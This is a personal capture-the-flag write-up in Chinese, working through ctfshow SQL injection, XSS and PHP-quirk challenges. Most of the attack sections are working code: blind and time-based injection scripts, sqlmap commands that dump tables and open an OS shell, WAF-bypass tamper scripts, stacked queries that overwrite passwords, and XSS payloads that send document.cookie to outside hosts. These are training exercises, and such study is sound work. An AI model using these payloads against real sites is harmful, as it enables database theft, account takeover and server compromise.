BUU第一份
https://blog.gem-love.com/ctf/2283.html注入
171
入门开始,直接union select
database:ctfshow_web
table:ctfshow_user
0' union select 1,2,group_concat(password) from ctfshow_web.ctfshow_user --+
172
database:ctfshow_web
table:ctfshow_user2
0' union select 1,group_concat(password) from ctfshow_web.ctfshow_user2 --+
173
database:ctfshow_web
table:ctfshow_user3
0' union select 1,2,group_concat(password) from ctfshow_web.ctfshow_user3 --+
174
返回内容中不能有数字了,试试布尔注入吧
select * from tableName limit i,n
i为索引,n为数量
随便写的垃圾脚本
import requests
url="http://5d04fd50-8b1c-40fc-9f33-520ecb876ab5.challenge.ctf.show/api/v4.php?id=1'and 1= &page=1&limit=10"
for i in range(1,1000):
for j in range(45,57):
sql = f"if(ascii(substr((select password from ctfshow_user4 limit 24,1),{i},1))={j},1,0)"
url=f"http://5d04fd50-8b1c-40fc-9f33-520ecb876ab5.challenge.ctf.show/api/v4.php?id=1'and 1={sql}--+&page=1&limit=10"
tex=requests.get(url).text
if 'admin' in tex:
print(chr(j),end='')
for j in range(97,125):
sql = f"if(ascii(substr((select password from ctfshow_user4 limit 24,1),{i},1))={j},1,0)"
url=f"http://5d04fd50-8b1c-40fc-9f33-520ecb876ab5.challenge.ctf.show/api/v4.php?id=1'and 1={sql}--+&page=1&limit=10"
tex=requests.get(url).text
if 'admin' in tex:
print(chr(j),end='')
175
啥都没了时间盲注
import requests
url="http://a5db8e88-69c0-425f-940a-d80b5506cf35.challenge.ctf.show/api/v5.php?id=1&page=1&limit=10"
for i in range(1,1000):
for j in range(45, 57):
sql = f"if(ascii(substr((select password from ctfshow_user5 limit 24,1),{i},1))={j},sleep(2),0)"
url = f"http://a5db8e88-69c0-425f-940a-d80b5506cf35.challenge.ctf.show/api/v5.php?id=1'and 1={sql}--+&page=1&limit=10"
try:
requests.get(url=url, timeout=1)
except Exception as e:
print(chr(j), end='')
for j in range(97,125):
sql = f"if(ascii(substr((select password from ctfshow_user5 limit 24,1),{i},1))={j},sleep(2),0)"
url=f"http://a5db8e88-69c0-425f-940a-d80b5506cf35.challenge.ctf.show/api/v5.php?id=1'and 1={sql}--+&page=1&limit=10"
try:
requests.get(url=url,timeout=1)
except Exception as e:
print(chr(j), end='')
或者试试文件读写
1' union select 1,password from ctfshow_user5 into outfile '/var/www/html/1.txt' --+
176
过滤了union select,大小写绕过或万能密码1' or 1=1--+
database:ctfshow_web
table:ctfshow_user
0' unIon sElEct 1,2,group_concat(password) from ctfshow_web.ctfshow_user --+
177
过滤了空格,/**/即可,不能用+,url会被转成空格
0'/**/union/**/select/**/1,2,group_concat(password)/**/from/**/ctfshow_user%23
178
过滤了空格和*,制表符%09绕过
0'%09union%09select%091,2,group_concat(password)%09from%09ctfshow_user%23
179
%09也没了,还剩%0c
0'%0cunion%0cselect%0c1,2,group_concat(password)%0cfrom%0cctfshow_user%23
180
真没招了,看看wp,通过反引号分割,绝
0'union%0cselect'1',(select`password`from`ctfshow_user`where`username`='flag'),'3
还有
0'or(id=26)and'1'='1
181
select不见了,万能密码
0'%0cor%0cid='26
182
flag不见了,其实不影响上面的,但是还是可以尝试模糊匹配
0'%0cor%0cusername%0clike%0c'%fla%
183
使用正则表达式和布尔盲注
WHERE email REGEXP 'a'
意思是在email中匹配a的
写脚本咯
import requests
url = 'http://24a744c9-dd02-415a-b46b-68e87b328edd.challenge.ctf.show/select-waf.php'
flagstr = r"{flqazwsxedcrvtgbyhnujmikolp-0123456789}"
for i in range(1,1000):
for j in flagstr:
data = {
'tableName': f"(ctfshow_user)where(substr(pass,{i},1))regexp('{j}')"
}
tex = requests.post(url, data=data).text
if "$user_count = 1;" in tex:
print(j,end='')
184
RIGHT JOIN 关键字会右表 (table_name2) 那里返回所有的行,即使在左表 (table_name1) 中没有匹配的行。
SELECT column_name(s)
FROM table_name1
RIGHT JOIN table_name2
我们将匹配后的表作为右表,使用正则查询即可
ctfshow_user as a right join ctfshow_user as b on (substr(b.pass,{i},1)regexp(char({ord(j)})))
import requests
url = 'http://cf6d0357-c567-4db6-9fab-5827e7d5e40d.challenge.ctf.show/select-waf.php'
flagstr = r"{flqazwsxedcrvtgbyhnujmikolp-0123456789}"
for i in range(1,1000):
for j in flagstr:
data = {
'tableName': f"ctfshow_user as a right join ctfshow_user as b on (substr(b.pass,{i},1)regexp(char({ord(j)})))"
}
tex = requests.post(url, data=data).text
if "$user_count = 43;" in tex:
print(j,end='')
break
记得问on是啥意思
185
过滤了数字,用true=1相加构造数字咧
import requests
url = 'http://7cdec59f-0059-4f5d-ac07-fcac41696822.challenge.ctf.show/select-waf.php'
flagstr = r"{flqazwsxedcrvtgbyhnujmikolp-0123456789}"
def lo(x):
tmp="true"
for i in range(1,x):
tmp=tmp+"+true"
return tmp
for i in range(1,1000):
for j in flagstr:
data = {
'tableName': f"ctfshow_user as a right join ctfshow_user as b on (substr(b.pass,({lo(i)}),(true))regexp(char({lo(ord(j))})))"
}
tex = requests.post(url, data=data).text
if "$user_count = 43;" in tex:
print(j,end='')
break
186
同上,开打就完了
187
针对md5(xxx,true)
的绕过:链接
只能寻找md5
所以密码输入:ffifdyop即可
进行运算得出的结果为
‘or’6�]��!r,��b
由于or后面6为真,所以语句恒为真
188
SQL比较真真离谱
字符串当作数字处理
即当mysql中字符串与数字做比较的时候,会将字符串当作数字来比较。如123bac会当作123处理。 因此我们在查询的时候即使username=0,也会返回一些以0开头的数据。
00即可
189
空格消失法,提示flag在api/flag.php中,必然要读取文件咯
尝试用户名发现只有两种回显结果,一种是查询失败,一种是密码错误
布尔盲注走起
import requests
url = 'http://36ec0642-dfd4-460f-951d-afbf1887db2c.challenge.ctf.show/api/index.php'
flagstr = r"{flqazwsxedcrvtgbyhnujmikolp-0123456789}"
flag=''
for i in range(1,1000):
for j in flagstr:
tmp=flag+j
data = {'username': f'if(load_file("/var/www/html/api/index.php")regexp(\'{tmp}\'),0,1)#','password': '1',}
tex = requests.post(url=url, data=data)
if "密码错误" in tex.json()['msg']:
print(j,end='')
flag=flag+j
break
190
进行一个布尔的盲注
import requests
url = 'http://f808d3c6-5e32-4c6c-a217-16eb4cd1c842.challenge.ctf.show/api/'
flagstr = r"{flqazwsxedcrvtgbyhnujmikolp-0123456789}"
flag=''
for i in range(1,1000):
for j in flagstr:
tmp=flag+j
data = {'username': f"admin' and ((substr((select f1ag from ctfshow_fl0g),{i},1))='{j}')#",'password': '1',}
tex = requests.post(url=url, data=data)
if "密码错误" in tex.json()['msg']:
print(j,end='')
flag=flag+j
break
191
过滤了file|into|ascii上个脚本还能用
192
过滤了file|into|ascii|ord|hex继续用
193
过滤了file|into|ascii|ord|hex|substr问题不大,换left
database:ctfshow_web
table:ctfshow_flxg
column:f1ag
import requests
url = 'http://dc60958a-3c76-4425-acf9-cef85100c566.challenge.ctf.show/api/'
flagstr = r",{flqazwsxedcrvtgbyhnujmikolp-0123456789}_"
flag=''
for i in range(1,1000):
for j in flagstr:
tmp=flag+j
data = {'username': f"admin' and (left((select f1ag from ctfshow_flxg),{i})='{tmp}')#",'password': '1',}
tex = requests.post(url=url, data=data)
if "用户名不存在" not in tex.json()['msg']:
print(j,end='')
flag=flag+j
break
194
我谢谢你啊left和right都没了
过滤了file|into|ascii|ord|hex|substr|char|left|right|substring,用like或者正则(其实用mid也行)
database:ctfshow_web
table:ctfshow_flxg
column:f1ag
import requests
url = 'http://a0589fee-511c-495e-b8c9-319e9f5cc086.challenge.ctf.show/api/'
flagstr = r"{flqazwsxedcrvtgbyhnujmikolp-0123456789}_,"
flag=''
for i in range(1,1000):
for j in flagstr:
tmp=flag+j
data = {'username': f"admin' and if(((select group_concat(f1ag) from ctfshow_flxg)regexp('{tmp}')),1,0)#",'password': '1',}
tex = requests.post(url=url, data=data)
if "用户名不存在" not in tex.json()['msg']:
print(j,end='')
flag=flag+j
break
195
堆叠改密码咯,查询语句中的username没有用引号包裹,所以查询的时候用十六进制转字符串
1;update`ctfshow_user`set`pass`=0x313131;
1
0x61646d696e
111
196
😅
![](https://jlan-blog.oss-cn-beijing.aliyuncs.com/截屏2022-04-10 11.29.32.png)
197,198
一个wp脚本
# @Author:Y4tacker
import requests
url = "http://b126bc7c-2b32-461d-9520-30d5baf7a152.chall.ctf.show/api/"
for i in range(100):
if i == 0:
data = {
'username': '0;alter table ctfshow_user change column `pass` `ppp` varchar(255);alter table ctfshow_user '
'change column `id` `pass` varchar(255);alter table ctfshow_user change column `ppp` `id` '
'varchar(255);',
'password': f'{i}'
}
r = requests.post(url, data=data)
data = {
'username': '0x61646d696e',
'password': f'{i}'
}
r = requests.post(url, data=data)
if "登陆成功" in r.json()['msg']:
print(r.json()['msg'])
break
我选离谱方法:
# @Author:Y4tacker
# username=0;show tables;
# pass=ctfshow_user
199,200
只有离谱方法能用了
201
sqlmap使用开始
//查库
sqlmap -u "http://212b52c9-db7a-4a4b-9b07-d23bb1989fc5.challenge.ctf.show/api/?id=1" --referer="ctf.show" --dbs
//查表
sqlmap -u "http://212b52c9-db7a-4a4b-9b07-d23bb1989fc5.challenge.ctf.show/api/?id=1" --referer="ctf.show" -D ctfshow_web --tables
//查字段
sqlmap -u "http://212b52c9-db7a-4a4b-9b07-d23bb1989fc5.challenge.ctf.show/api/?id=1" --referer="ctf.show" -D ctfshow_web -T ctfshow_user --columns
//查值
sqlmap -u "http://212b52c9-db7a-4a4b-9b07-d23bb1989fc5.challenge.ctf.show/api/?id=1" --referer="ctf.show" -D ctfshow_web -T ctfshow_user -C id,pass,username --dump
202
使用POST请求,添加–data参数来设置
sqlmap -u http://84e4c090-49b9-47dd-a749-2b144bba6ff5.challenge.ctf.show/api/ --data="id=1" --referer="ctf.show" -D ctfshow_web -T ctfshow_user -C pass --dump
203
调整请求方式,此处调整为PUT请求,记得加上Content-Type不然会变表单提交
sqlmap -u http://86418dcd-b385-474c-b132-554a8ee6a95d.challenge.ctf.show/api/index.php --referer="ctf.show" --data="id=1" --method="PUT" --headers="Content-Type:text/plain" -D ctfshow_web -T ctfshow_user -C pass --dump
204
加上cookie,用–cookie
sqlmap -u http://024304b8-be6a-48da-bc31-a8fcb796f2e8.challenge.ctf.show/api/index.php --cookie="UM_distinctid=17ff4d2091576a-09cf5f45e352f9-113f645d-384000-17ff4d209161689; PHPSESSID=honuvgjau5711m3j9tn84hloip; ctfshow=2e0d6ee1573392a73c0cca1476342faa" --referer="ctf.show" --data="id=1" --method="PUT" --headers="Content-Type:text/plain" -D ctfshow_web -T ctfshow_user -C pass --dump
205
提示api鉴权,发现请求前会先对一个url进行调用
![](https://jlan-blog.oss-cn-beijing.aliyuncs.com/截屏2022-04-10 21.53.17.png)
使用如下两个参数
--safe-url 设置在测试目标地址前访问的安全链接
--safe-freq 设置两次注入测试前访问安全链接的次数
最终命令悄悄换表名和列名真的可恶
sqlmap -u http://685993ca-1d7f-4372-b50e-2bfc278ae33e.challenge.ctf.show/api/index.php --safe-url="http://685993ca-1d7f-4372-b50e-2bfc278ae33e.challenge.ctf.show/api/getToken.php" --safe-freq=1 --referer="ctf.show" --data="id=1" --method="PUT" --headers="Content-Type:text/plain" -D ctfshow_web -T ctfshow_flaxc -C flagv --dump
206
提示SQL需要闭合,当我sqlmap傻是吧,同上即可
207
–tamper 的初体验
使用SQLMap提供的tamper脚本,可在一定程度上避开应用程序的敏感字符过滤、绕过WAF规则的阻挡,继而进行渗透攻击,–tamper=TAMPER 利用给定的脚本进行篡改注入数据,该题过滤了空格,使用自带的space2comment.py即可绕过
sqlmap -u http://894488fd-6cfa-4392-aefa-61f64467a37c.challenge.ctf.show/api/index.php --safe-url="http://894488fd-6cfa-4392-aefa-61f64467a37c.challenge.ctf.show/api/getToken.php" --safe-freq=1 --referer="ctf.show" --data="id=1" --method="PUT" --headers="Content-Type:text/plain" -D ctfshow_web -T ctfshow_flaxca -C flagvc --dump --tamper="space2comment.py"
208
过滤了小写的select,但是sqlmap中所有SELECT都是大写,同上即可
sqlmap -u http://d6087ca0-43f5-417e-8fe2-b620a9fda955.challenge.ctf.show/api/index.php --safe-url="http://d6087ca0-43f5-417e-8fe2-b620a9fda955.challenge.ctf.show/api/getToken.php" --safe-freq=1 --referer="ctf.show" --data="id=1" --method="PUT" --headers="Content-Type:text/plain" -D ctfshow_web -T ctfshow_flaxcac -C flagvca --dump --tamper="space2comment.py"
209
过滤了空格,*和=,讲道理使用bluecoat.py就行,但是出不来,只能自己编写脚本替换了,将空格用%09替换,=用LIKE替换
sqlmap -u http://477c2806-7230-462f-adac-0213ba40f10f.challenge.ctf.show/api/index.php --data="id=1" --refer="ctf.show" --method="PUT" --headers="Content-Type:text/plain" --safe-url="http://477c2806-7230-462f-adac-0213ba40f10f.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web -T ctfshow_flav -C ctfshow_flagx,id,tes --dump --batch --tamper web209.py
#web209.py
#!/usr/bin/env python
"""
Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
from lib.core.compat import xrange
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW
def dependencies():
pass
def tamper(payload, **kwargs):
retVal = payload
if payload:
retVal = ""
quote, doublequote, firstspace = False, False, False
for i in xrange(len(payload)):
if not firstspace:
if payload[i].isspace():
firstspace = True
retVal += chr(0x9)
continue
elif payload[i] == '\'':
quote = not quote
elif payload[i] == '"':
doublequote = not doublequote
elif payload[i] == '=':
retVal += chr(0x9) + 'like' + chr(0x9)
continue
elif payload[i] == " " and not doublequote and not quote:
retVal += chr(0x9)
continue
retVal += payload[i]
return retVal
210
对字符串进行base64解码反转再解码,那就编码反转再编码
sqlmap -u http://557cc437-11cc-423f-908a-43fd7aa8b33e.challenge.ctf.show/api/index.php --data="id=1" --refer="ctf.show" --method="PUT" --headers="Content-Type:text/plain" --safe-url="http://557cc437-11cc-423f-908a-43fd7aa8b33e.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web -T ctfshow_flavi -C ctfshow_flagxx --dump --batch --tamper web210.py
#web210.py
#!/usr/bin/env python
"""
Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
from lib.core.compat import xrange
from lib.core.enums import PRIORITY
import base64
__priority__ = PRIORITY.LOW
def dependencies():
pass
def tamper(payload, **kwargs):
retVal = payload
if payload:
retVal=retVal.encode()
retVal=retVal[::-1]
retVal=base64.b64encode(retVal)
retVal=retVal[::-1]
retVal=base64.b64encode(retVal)
return retVal.decode()
211
相比于上题多过滤了空格,加上space2commit脚本即可
sqlmap -u http://5202066d-7531-4be8-8cff-4ae5052a88a4.challenge.ctf.show/api/index.php --data="id=1" --refer="ctf.show" --method="PUT" --headers="Content-Type:text/plain" --safe-url="http://5202066d-7531-4be8-8cff-4ae5052a88a4.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web --tables --dump --batch --tamper="space2commit.py,web210.py"
212
前两个加起来
sqlmap -u http://fea29546-5555-4d19-a7fa-63d86e7eb6b8.challenge.ctf.show/api/index.php --data="id=1" --refer="ctf.show" --method="PUT" --headers="Content-Type:text/plain" --safe-url="http://fea29546-5555-4d19-a7fa-63d86e7eb6b8.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web --tables --dump --batch --tamper="web209.py,web210.py"
213
一键getshell,–os-shell
sqlmap -u http://18f74fd7-e863-4171-a825-d896a079c1f3.challenge.ctf.show/api/index.php --data="id=1" --refer="ctf.show" --method="PUT" --headers="Content-Type:text/plain" --safe-url="http://18f74fd7-e863-4171-a825-d896a079c1f3.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web --tables --os-shell --dump --batch --tamper="web209.py,web210.py"
214
时间盲注开始
首页发现网络流量中有select.js,查看代码
layui.use('element', function(){
var element = layui.element;
element.on('tab(nav)', function(data){
console.log(data);
});
});
$.ajax({
url:'api/',
dataType:"json",
type:'post',
data:{
ip:returnCitySN["cip"],
debug:0
}
});
发现提交的表单中有两个变量,测试一下
![](https://jlan-blog.oss-cn-beijing.aliyuncs.com/截屏2022-04-12 14.27.34.png)
测试成功,开始编写代码
import requests
url="http://7a5edb92-03ea-49ff-bd27-30b753229c99.challenge.ctf.show/api/"
flagchar="-{},qwertyuiopasdfghjklzxcvbnm_1234567890"
for i in range(1,1000):
for j in flagchar:
data = {
#'ip': f'1 or if((substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="ctfshow_flagx"),{i},1))="{j}",sleep(3),1)',
'ip': f'1 or if((substr((select group_concat(flaga) from ctfshow_flagx),{i},1))="{j}",sleep(3),1)',
'debug': '1'
}
try:
requests.post(url=url,data=data,timeout=2.5)
except:
print(j,end='')
break
215
单引号闭合
import requests
url="http://59e08013-c379-4607-a6bf-c11d5c4d6d6e.challenge.ctf.show/api/"
flagchar="-{},flagqwertyuiopsdhjkzxcvbnm_1234567890"
for i in range(1,1000):
for j in flagchar:
data = {
#'ip': f'1\' or if((substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))="{j}",sleep(3),1)#',
#'ip': f'1\' or if((substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="ctfshow_flagxc"),{i},1))="{j}",sleep(3),1)#',
'ip': f'1\' or if((substr((select group_concat(flagaa) from ctfshow_flagx),{i},1))="{j}",sleep(3),1)#',
'debug': '1'
}
try:
requests.post(url=url,data=data,timeout=2.5)
except:
print(j,end='')
break
216
base64编码
import requests
url="http://fe2f1a17-e483-4137-b85d-9fa3a6daaa18.challenge.ctf.show/api/"
flagchar="-{},ctfshowlagbde1234567890"
namechar=",ctfshow_qwertyuiopasdfghjklzxcvbnm"
for i in range(1,1000):
for j in flagchar:
data = {
#'ip': f'"MQ==") or if((substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))="{j}",sleep(2),1)#',
#'ip': f'"MQ==") or if((substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="ctfshow_flagxcc"),{i},1))="{j}",sleep(2),1)#',
'ip': f'"MQ==") or if((substr((select group_concat(flagaac) from ctfshow_flagxcc),{i},1))="{j}",sleep(2),1)#',
'debug': '1'
}
try:
requests.post(url=url,data=data,timeout=1.5)
except:
print(j,end='')
break
217
sleep不能用了啦,都ctfshow害得啦,拜托,换benchmark
import requests
url = "http://e7d85700-c8a1-48c2-bea8-4ead2e0976b4.challenge.ctf.show/api/"
flagchar = "-{},ctfshowlagbde1234567890"
namechar = ",ctfshow_qwertyuiopasdfghjklzxcvbnm"
for i in range(1, 1000):
for j in flagchar:
data = {
#'ip': f'1) or if(((substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))=\'{j}\'),(benchmark(20000000,sha(1))),1)#',
#'ip': f'1) or if(((substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="ctfshow_flagxccb"),{i},1))=\'{j}\'),(benchmark(20000000,sha(1))),1)#',
'ip': f'1) or if(((substr((select group_concat(flagaabc) from ctfshow_flagxccb),{i},1))=\'{j}\'),(benchmark(20000000,sha(1))),1)#',
'debug': '1'
}
try:
requests.post(url=url, data=data, timeout=4)
except:
print(j, end='')
break
218
benchmark也🈚️了,换笛卡尔积
import requests
url = "http://de5b41b6-9f89-4e0a-b913-7c33a143979a.challenge.ctf.show/api/"
flagchar = "-{},abcdef1234567890"
namechar = ",ctfshow_qwertyuiopasdfghjklzxcvbnm"
for k in range(10):
print()
for i in range(1, 50):
for j in flagchar:
data = {
#'ip': f'1) or if(((substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))=\'{j}\'),(SELECT count(*) FROM information_schema.columns A,information_schema.columns B),1)#',
#'ip': f'1) or if(((substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="ctfshow_flagxc"),{i},1))=\'{j}\'),(benchmark(20000000,sha(1))),1)#',
'ip': f'1) or if(((substr((select group_concat(flagaac) from ctfshow_flagxc),{i},1))=\'{j}\'),(SELECT count(*) FROM information_schema.tables A,information_schema.tables B,information_schema.columns C),1)#',
'debug': '1'
}
try:
requests.post(url=url, data=data, timeout=4)
except:
print(j,end="")
break
219
过滤了rlike,笛卡尔积依然可用,同上即可
220
sleep|benchmark|rlike|ascii|hex|concat_ws|concat|mid|substr
真能滤,换left
import requests
url = "http://ee633dfd-4a05-4685-bbf6-1da4b5fc4d1d.challenge.ctf.show/api/"
flagchar = "ctfshow-{},abde1234567890"
namechar = "flag,ctfshow_qwertyuiopasdfghjklzxcvbnm"
flag=""
for k in range(10):
print()
flag = ""
for i in range(1, 50):
for j in flagchar:
tmp=flag+j
data = {
'ip': f'1) or if((left((select flagaabcc from ctfshow_flagxcac),{i})=\'{tmp}\'),(SELECT count(*) FROM information_schema.tables A,information_schema.tables B,information_schema.columns C),1)#',
'debug': '1'
}
try:
requests.post(url=url, data=data, timeout=4)
except:
flag=tmp
print(j,end="")
break
时间盲注,结束
221
limit注入,欢迎收看P神博客
报错注入
SELECT field FROM user WHERE id >0 ORDER BY id LIMIT 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);
222
Group_by后面的参数来进行布尔注入
import requests
url="http://debba94a-3e3c-4b9e-97e0-27c6e7381dde.challenge.ctf.show/api/?u="
ca="ctfshow{1234567890-abcdef}"
for i in range(1,100):
for j in ca:
payload=f'if(substr((select group_concat(flagaabc) from ctfshow_flaga),{i},1)="{j}","username",cot(0))'
tex=requests.get(url+payload).text
if "username" in tex:
print(j,end="")
break;
223
过滤了数字,贴个大佬脚本
# @Author:Kradress
import requests
import string
url = "http://7702b56c-35d9-4b80-abdc-bb0956f4bce5.challenge.ctf.show/api/"
result = ''
dict=string.ascii_lowercase+string.digits+"_-,}{"
# 爆表名
# payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
# 爆列名
# payload = "select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_flagas'"
#爆字段值
payload = "select flagasabc from ctfshow_flagas"
def numToStr(str):
parts = []
for s in str:
parts.append(numToStr2(s))
res = ','.join(parts)
return f"concat({res})"
def numToStr2(num):
parts = []
n = ord(num)
for i in range(n):
parts.append("true")
res = "+".join(parts)
return f"char({res})"
for i in range(1,46):
print(i)
for j in dict:
params={
'u' : f"concat(if(substr(({payload}),{numToStr(str(i))},true)={numToStr(j)},username,cot(false)))#"
}
r = requests.get(url, params=params)
# print(r.url)
if("ctfshow" in r.text):
result +=j
print(result)
break
224
通过文件信息的注入,这里有颖师傅的博客
但是发现这个
file()
方法可以检测图片的EXIF信息,而EXIF信息中有一个comment字段,相当于图片注释,而finfo->file()
正好能够输出这个信息,如果上面的假设成立,这就可以造成SQL注入
再到别的师傅那里去拿一个源码
<?php
error_reporting(0);
if ($_FILES["file"]["error"] > 0)
{
die("Return Code: " . $_FILES["file"]["error"] . "<br />");
}
if($_FILES["file"]["size"]>10*1024){
die("文件过大: " .($_FILES["file"]["size"] / 1024) . " Kb<br />");
}
if (file_exists("upload/" . $_FILES["file"]["name"]))
{
echo $_FILES["file"]["name"] . " already exists. ";
}
else
{
$filename = md5(md5(rand(1,10000))).".zip";
$filetype = (new finfo)->file($_FILES['file']['tmp_name']);
if(preg_match("/image|png|bmap|jpg|jpeg|application|text|audio|video/i",$filetype)){
die("file type error");
}
$filepath = "upload/".$filename;
$sql = "INSERT INTO file(filename,filepath,filetype) VALUES ('".$filename."','".$filepath."','".$filetype."');";
move_uploaded_file($_FILES["file"]["tmp_name"],
"upload/" . $filename);
$con = mysqli_connect("localhost","root","root","ctf");
if (!$con)
{
die('Could not connect: ' . mysqli_error());
}
if (mysqli_multi_query($con, $sql)) {
header("location:filelist.php");
} else {
echo "Error: " . $sql . "<br>" . mysqli_error($con);
}
mysqli_close($con);
}
?>
看到filetype变量确实通过finfo取了内容,我们本地跑一下
确实输出了部分的文件信息,看群里给的payload,使用的是bin文件,构造的文件部分内容被输出
上传拿shell即可
后记:似乎这里拿到的是file命令获取的内容
225
堆叠:
prepare a from 0x十六进制语句;execute a;
226
同上
227
没查出来东西,看WP,通过查询information_schema.routines
查看存储过程和函数
存储过程(Stored Procedure)是一种在数据库中存储复杂程序,以便外部程序调用的一种数据库对象。
存储过程是为了完成特定功能的SQL语句集,经编译创建并保存在数据库中,用户可通过指定存储过程的名字并给定参数(需要时)来调用执行。
存储过程思想上很简单,就是数据库 SQL 语言层面的代码封装与重用。
就是存了已经定义好的函数,可以看到getFlag函数,也能看到flag,调用的话使用call getFlag就好
228,229,230
都是上面的
231
update开始,第一道题直接连着username一起改
password=0',username=(select group_concat(flagas) from flaga where table_schema=database())%23&username=1
232
md5问题不大,多裹个括号就行
password=0'),username=(select group_concat(flagass) from flagaa)%23&username=1
233
似乎单引号消失了,转义然后和后面username的闭合就行
password=\&username=,username=(select group_concat(flagass233) from flag233333)%23
234
单双一起,同上
password=\&username=,username=(select group_concat(flagass23s3) from flag23a)%23
235
无列名注入,看这里
password=\&username=,username=(select group_concat(`2`) from (select 1,2,3 union select * from flag23a1) as a)%23
236
多滤了个flag,没卵用
password=\&username=,username=(select group_concat(`2`) from (select 1,2,3 union select * from flaga) as a)%23
237
进入insert环节,闭合,拿数据,插入
username=1',(select group_concat(flagass23s3) from flag))%23&password=1
238
没有空格用括号
username=1',(select(group_concat(flag))from(flagb)))%23&password=1
239
又一个无列名,注不进去,也不知道哪里出问题了
240
有表名那不狠狠的爆破?
import requests
import itertools
import time
url="http://6be0cd82-3931-4919-a3e1-bfdcd72e685a.challenge.ctf.show/api/insert.php"
s='ab'
a=map(''.join, itertools.product('ab', repeat=5))
for i in a:
table='flag'+i;
data={'username':f"1',(select(flag)from({table})))#",'password':'1'}
requests.post(url,data=data)
time.sleep(0.1)
241
开始删东西了,就20条,用时间盲注吧,脚本from yu师傅
# @Author:yu22x
import requests
import time
import urllib.parse
url = "http://b37e7121-22c6-4917-bfa5-ddc38a0ed78f.challenge.ctf.show/api/delete.php"
s='0123456789abcdef-'
flag='ctfshow{'
for i in range(9,46):
print(i)
for j in s:
data={'id':f'0||if(substr((select flag from flag),{i},1)="{j}",sleep(1),0)'}
#print(data)
try:
requests.post(url,data=data,timeout=1)
except:
flag+=j
print(flag)
break
time.sleep(1)
242
进行一个文件的dump
CTFshowXSS
316
最简单的:
<script>document.location.href='http://服务器IP/?x='document.cookie</script>
317
过滤了script
<body onload="document.location.href='http://服务器IP/?x='+document.cookie"></body>
318
过滤了img,使用iframe
<iframe WIDTH=0 HEIGHT=0 srcdoc=。。。。。。。。。。<sCRiPt sRC="http://0x.ax/k0Jj"></sCrIpT>>
<BODY ONLOAD=document.location='http://xss.darkflow.top?cookie='+document.cookie;>
319
同上即可
320
过滤了空格,script,用tab
<iframe WIDTH=0 HEIGHT=0 srcdoc=。。。。。。。。。。<sCRiPt sRC="http://0x.ax/k0Jj"></sCrIpT>>
321
过滤了img,同上
322
同上
323
过滤了iframe,使用body onload(艹居然过滤了xss,我的域名里有xss啊啊啊啊啊啊啊啊啊啊啊)
<body/onload=document.location='http://20.231.29.154:5000/?cookie='+document.cookie;>
一直到326通杀
浅总结:看这几道题来说,反射性xss无非就是变换标签,结合各种编码去绕过,空格用\
,关键字双写或者编码等等
存储型XSS开始
327
收件人为admin,内容为XSS即可
<body/onload=document.location='http://20.231.29.154:5000/?cookie='+document.cookie;>
328
构造js偷管理员cookie(不知道为啥我偷了登陆了也不行)
![](https://jlan-blog.oss-cn-beijing.aliyuncs.com/截屏2022-04-20 17.41.19.png)
用超强模块吧
<sCRiPt sRC=//xss8.cc/R9YM></sCrIpT>
CTFshowPHP特性
89
数组绕过
intval()用于获取变量的整数值
intval() 函数通过使用指定的进制base转换(默认是十进制),返回变量var的integer数值。intval()不能用于object,否则会产生E_NOTICE错误并返回1。
语法
int intval ( mixed $var [, int $base = 10 ] )
90
十六进制
91
if(preg_match('/^php$/im', $a)){
if(preg_match('/^php$/i', $a)){
echo 'hacker';
}
//m代表多行匹配,换行符加php即可
//cmd=%0Aphp
92
同90
93
滤了16进制,使用8进制绕过
?num=010574
94
全等用小数绕过
?num=4476.01
95
小数点没了,用八进制加正号绕过0过滤
?num=+010574
96
?u=./flag.php
97
md5强相等数组绕过
a[]=1&b[]=2
98
分析代码
3. $_GET?$_GET=&$_POST:'flag';
if ($_GET) { //只要有输入的get参数
$_GET = &$_POST; //就将get方法改变为post方法(修改了get方法的地址)
// 比如$_GET[a] = &$_POST[a],get传a无作用,必须用POST
} else {
"flag";
}
4、5行无作用
6. highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
if ($_GET['HTTP_FLAG'] == 'flag') { //需要满足这个条件就可以输出flag
highlight_file($flag); //因为没有ctfshow{xxxxx}这个文件,所以会产生报错
//进而我们可以看到flag内容
} else {
highlight_file(__FILE__);
}
构造POST
HTTP_FLAG=flag
再添加任意get参数即可
99
in_array函数如果不设置strict参数为真则进行若比较,1.php==1
payload:n=1.php
POST
content=一句话木马
100
在PHP中,=赋值运算符优先级高于and,所以语句执行是v0=is_numeric(v1),传入v1为数字即可
?v1=1&v2=var_dump($ctfshow)&v3=;
101
反射类
顾名思义,就是一个类的反射(废话么不是)
下面是例子
class fuc { //定义一个类
static
function ec() {
echo '我是一个类';
}
}
$class=new ReflectionClass('fuc'); //建立 fuc这个类的反射类
$fuc=$class->newInstance(); //相当于实例化 fuc 类
$fuc->ec(); //执行 fuc 里的方法ec
$ec=$class->getmethod('ec'); //获取fuc 类中的ec方法
$fuc=$class->newInstance(); //实例化
$ec->invoke($fuc); //执行ec 方法
Payload
?v1=1&v2=echo new Reflectionclass&v3=;
102
先转base64再转16进制完成绕过
103
同上
104
没验证直接传俩一样的呗
105
foreach($_GET as $key => $value){
if($key==='error'){
die("what are you doing?!");
}
$$key=$$value;
